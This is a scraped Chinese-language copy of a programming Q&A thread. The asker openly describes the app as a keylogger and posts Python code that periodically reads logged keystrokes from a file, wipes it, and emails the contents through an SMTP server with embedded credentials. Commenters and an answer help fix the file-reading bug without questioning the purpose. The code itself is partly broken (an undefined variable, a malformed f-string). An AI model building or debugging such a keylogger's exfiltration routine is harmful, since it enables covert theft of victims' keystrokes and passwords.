open() 无法读取我的文件的内容 [重复]

Posted

技术标签:

【中文标题】open() 无法读取我的文件的内容 [重复]【英文标题】:open() doesn't manage to read the content of my file [duplicate] 【发布时间】:2022-01-15 05:31:11 【问题描述】:

我的应用是键盘记录器。我使用一个线程来设置一个计时器,将文件“final.txt”的内容发送到我的电子邮件。实际的电子邮件发送过程工作正常,但虽然文件不是空的(我检查过),但当我尝试发送它时它显示为空。运行“proc”后,文件也会清空。

为什么会发生这种情况,我该如何解决?

    def proc():
        while True:           
                            
            with open("final.txt","a+") as mailFile:

                print(mailFile.read() +' end') 

                data ="====== \n DATA \n ====== \n \n" + mailFile.read()
              
                if len(mailFile.read()) > 0:
                    with open('final.txt','w') as tempFile: 
                        tempFile.truncate()
                        tempFile.close()
                    file.close() 
                    send(data)
                        
                else:
                    file.close()            
            time.sleep(HOUR/60)

    x = threading.Thread(target=proc)
    x.start()

    def send(file):
            msg = EmailMessage()

            msg['From'] = sender_email
            msg['To'] = reciver_email
            msg['Subject'] = f"os.getlogin(): time.localtime()[3]:time.localtime()[4] - time.localtime()[2]/time.localtime()[1]/time.localtime()[0]"
            msg.set_content(file)
            try:
                server = smtplib.SMTP('64.233.184.108')
                server.starttls()
                server.login(sender_email,password)
            except:
                send_mode('Disonnected')
                sys.exit()
            server.send_message(msg)
            server.quit()

【问题讨论】:

我几乎不知道proc() 想要做什么,但如果你运行some_file.read() 它会读取整个文件。如果您再次执行some_file.read(),它只会返回空字符串:'' @mechanical_meat 我尝试在再次阅读之前执行 file.close() 但它仍然无法正常工作。如果我尝试同时打开文件 2 次,第二次将返回 '' ? 查看.seek(0) 回到文件开头;无需关闭并重新打开。 【参考方案1】:

您需要以任何方式附加文件吗?看起来你只是在尝试阅读它,如果有文字抓取内容并发送。

open() 方法中的 a+ 标志用于附加文件 - 在这种情况下,您可能只使用 'r' 标志。这应该会给你想要的文本。

【讨论】:

以上是关于open() 无法读取我的文件的内容 [重复]的主要内容,如果未能解决你的问题,请参考以下文章

FATFs怎样重复打开文件写内容?

无法读取属性____的null [重复]

NSData:读取文件的内容[重复]

NodeJS fs - 无法读取外部json文件[重复]

如何在python中从txt文件中读取数据[重复]

使用 JS 读取文件并在文本区域中显示其内容 [重复]